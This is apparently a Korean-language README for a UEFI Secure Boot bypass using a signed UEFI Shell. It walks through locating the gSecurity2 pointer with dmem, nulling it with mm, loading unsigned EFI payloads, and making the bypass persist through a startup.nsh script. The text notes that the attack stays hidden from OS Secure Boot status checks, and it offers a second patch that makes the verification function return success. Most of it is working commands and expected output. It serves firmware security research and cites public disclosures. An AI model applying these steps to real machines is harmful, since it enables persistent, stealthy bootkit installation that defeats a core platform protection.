`.data` 범위 내에서 Security2 인터페이스 주소를 리틀 엔디언 바이트 순서로 검색합니다. 인터페이스 주소가 `0x3EE8C3A0`인 경우, 다음을 검색합니다:```
A0 C3 E8 3E 00 00 00 00

0x200바이트 블록 단위로 data_start부터 스캔:``` Shell> dmem 3FEAEA60 200 Shell> dmem 3FEAEC60 200 Shell> dmem 3FEAEE60 200 ...

root@kitploit:~
`.data` 범위를 계속 탐색하여 바이트 시퀀스를 찾습니다. `gSecurity`(Security1)와 `gSecurity2`(Security2) 포인터는 연속적으로 저장되므로, 두 값이 서로 인접해 있는지 확인합니다:```
  3FEB0C08: A0 C3 E8 3E 00 00 00 00   ← gSecurity2 = 0x3EE8C3A0
  3FEB0C10: 98 C3 E8 3E 00 00 00 00   ← gSecurity  = 0x3EE8C398

팁: .data 섹션에는 EFI 시스템 테이블 구조체(IBI SYST, DXE_SERV, BOOTSERV, RUNTSERV)도 포함되어 있습니다. 보안 포인터는 일반적으로 이러한 구조체 뒤에 위치합니다. 스캔 중 이러한 시그니처를 발견하면 계속 진행하세요 - 거의 다 왔습니다.

5단계 - 주소 확인

정확한 위치를 읽어 확인합니다:``` Shell> dmem 3FEB0C08 10

root@kitploit:~
Expected output:```
  3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00

0x3FEB0C08 주소는 gSecurity2가 저장된 위치이며, 이것이 Phase 4의 대상입니다.


Phase 4 - gSecurity2 무력화

gSecurity2 변수의 주소를 알게 되면, 단일 mm 명령으로 Secure Boot 검증을 비활성화할 수 있습니다:``` Shell> mm <gSecurity2_address> 0 -w 8 -MEM

root@kitploit:~
> **참고:** `mm` 명령은 주소 인수에 `0x` 접두사를 허용하지 않을 수 있습니다. 원시 16진수 주소를 직접 사용하십시오.

예시:```
Shell> mm 3FEB0C08 0 -w 8 -MEM

gSecurity2 포인터에 8바이트의 0을 씁니다. 이제 DXE 코어는 LoadImage()에서 모든 이미지 검증 검사를 건너뜁니다.

패치를 확인하려면:``` Shell> dmem <gSecurity2_address> 10

root@kitploit:~
처음 8바이트는 `00 00 00 00 00 00 00 00`이어야 합니다:```
  3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00

gSecurity(Security1, 두 번째 qword)는 그대로 유지되며, Security2만 무효화되는데, 이는 LoadImage() 검증을 우회하기에 충분합니다.


Phase 5 - 서명되지 않은 UEFI 애플리케이션 로드

gSecurity2가 무효화되면, 서명 상태와 관계없이 모든 UEFI 애플리케이션을 로드할 수 있습니다:``` Shell> fs1: fs1:> MyUnsignedApp.efi

root@kitploit:~
또는 드라이버에 `load`를 사용하는 경우:```
Shell> load fs1:\MyUnsignedDriver.efi

운영 체제는 아직 시작되지 않았습니다. 이 시점에서 로드된 모든 UEFI 애플리케이션은 OS 수준 보안 제어가 초기화되기 전에 전체 하드웨어 액세스 권한으로 실행됩니다.


Phase 6 - startup.nsh를 통한 지속성

UEFI Shell은 실행될 때마다 현재 디렉터리 또는 ESP 루트에서 startup.nsh를 자동으로 실행합니다. 이 스크립트에 mm 패치를 인코딩함으로써 Secure Boot 우회가 매 부팅 시 자동으로 실행됩니다:```nsh mm <gSecurity2_address> 0 -w 8 -MEM load fs1:\payload.efi

root@kitploit:~
예시:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi

시스템은 계속해서 Secure Boot를 "활성화됨"으로 보고합니다 - 런타임 시행만 비활성화될 뿐입니다. 이로 인해 OS 수준의 Secure Boot 상태 쿼리에서는 공격이 보이지 않게 됩니다.

중요: gSecurity2 주소(이 예시에서는 0x3FEB0C08)는 펌웨어 빌드에 특정합니다. 펌웨어가 업데이트되거나 재컴파일되면, 2단계와 3단계를 반복하여 주소를 다시 계산해야 합니다.


추가 - 탐색 과정

gSecurity2 주소를 찾는 것은 펌웨어에 특정하며, 펌웨어가 업데이트되거나 재컴파일될 때마다 반복해야 합니다. 상위 수준의 과정은 다음과 같습니다:``` Step 1 Step 2 Step 3 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ dh │──> │ dh -v │──> │ dh -v 1 │ │ │ │ │ │ │ │ Find │ │ Inspect adjacent │ │ Get DxeMain │ │ SecurityStubDxe │ │ handle for │ │ ImageBase and │ │ handle number │ │ Security2 GUID and │ │ ImageSize │ │ │ │ Interface address │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘ │ v Step 6 Step 5 Step 4 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │ │ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │ │ │ │ -MEM │ │ scan for Interface │ │ First 8 bytes │ │ │ │ address bytes in │ │ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │ │ │ │ active │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘

root@kitploit:~
---
---
---



<div id='Exploit'/>

## ***Exploit***

두 가지 접근 방식이 제공됩니다:

**접근 방식 A - FileAuthenticationState 패치:** 검증 함수의 첫 4바이트를 `xor rax, rax; ret` (`48 31 C0 C3`)로 덮어써서, 어떠한 검사도 수행하지 않고 EFI_SUCCESS를 반환하도록 만듭니다. 이 접근 방식은 `dh`, `dmem`, `mm` 명령을 사용하여 Security2 프로토콜 인터페이스를 통해 함수 포인터를 확인하며, DxeMain 메모리를 검색할 필요가 없습니다.

**접근 방식 B - gSecurity2 포인터 무효화:** DxeMain의 `.data` 섹션 내에 있는 gSecurity2 전역 변수를 찾아 NULL을 씁니다. 이는 Eclypsium이 BombShell 공개에서 설명한 기법이며, [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) 저장소에서 프로그래밍 방식으로 구현되었습니다. 이 접근 방식은 `.data` 섹션 경계를 찾기 위해 DxeMain의 PE 헤더를 파싱한 다음, `dmem`으로 메모리를 수동으로 스캔하여 포인터 주소를 찾아야 합니다.

두 스크립트 모두 각 명령이 설명과 함께 단계별로 따라할 수 있도록 설계되었습니다. 먼저 대화식으로 실행한 다음, 대상 펌웨어에 대한 올바른 주소를 알게 되면 매 부팅 시 자동 실행을 위한 `startup.nsh`를 작성하십시오.



---
---
---



<div id='LabSetup'/>

## ***Lab Setup***

### DBX (금지된 서명 데이터베이스)

서명된 셸은 KB5012170(2022년 8월)을 통해 Microsoft의 DBX 폐기 목록에 추가되었습니다. 업데이트된 시스템에서는 셸이 Secure Boot에 의해 거부됩니다.

실습 환경을 위해서는 다음 조건을 충족하는 시스템이 필요합니다:
- DBX에 이 특정 셸에 대한 폐기 항목이 업데이트되지 않았거나
- DBX가 비어 있거나 (기본 Secure Boot 키가 있는 새 VM)
- 또는 사용자 지정 Secure Boot 키 등록이 있는 QEMU/OVMF 환경을 사용하는 경우

[QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment)가 이를 위한 자동화된 설정을 제공합니다.

### 대안: mm 명령이 있는 모든 서명된 UEFI 셸

이 기법은 `Shell_Full.efi`에 국한되지 않습니다. `mm` 명령을 제공하고 신뢰할 수 있는 인증서(Microsoft CA 또는 OEM별)로 서명된 모든 UEFI Shell을 사용할 수 있습니다. Eclypsium의 [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) 연구(2025년 10월)에서 문서화된 바와 같이, 위험한 기능을 가진 서명된 UEFI 셸이 Framework 노트북(약 200,000대의 장치에 영향)을 포함한 여러 벤더의 제품에서 발견되었습니다.



---
---
---



<div id='References'/>

## ***References***

### 직접 관련

- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - 알려진 취약한 서명된 UEFI 애플리케이션의 엄선된 모음
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - gSecurity2 손상 기법에 대한 심층 기술 분석으로, 포인터를 자동으로 찾아 패치하는 전용 UEFI 애플리케이션 포함

### Eclypsium 연구

- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - .nsh 스크립팅을 통한 메모리 조작에 서명된 UEFI 셸을 사용하는 연구
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - CVE-2022-34301, CVE-2022-34302, CVE-2022-34303을 공개한 Eclypsium의 원래 연구
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Mickey Shkatov와 Jesse Michael의 발표
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Framework 노트북(200k 장치 영향)에서 mm 명령 gSecurity2 공격을 시연한 2025년 10월 연구

### UEFI 사양

- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - mm 및 dh 명령에 대한 문서
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - gSecurity2 전역 포인터에 대한 소스 코드 참조
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Security2 Architectural Protocol의 공식 정의

### 권고

- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)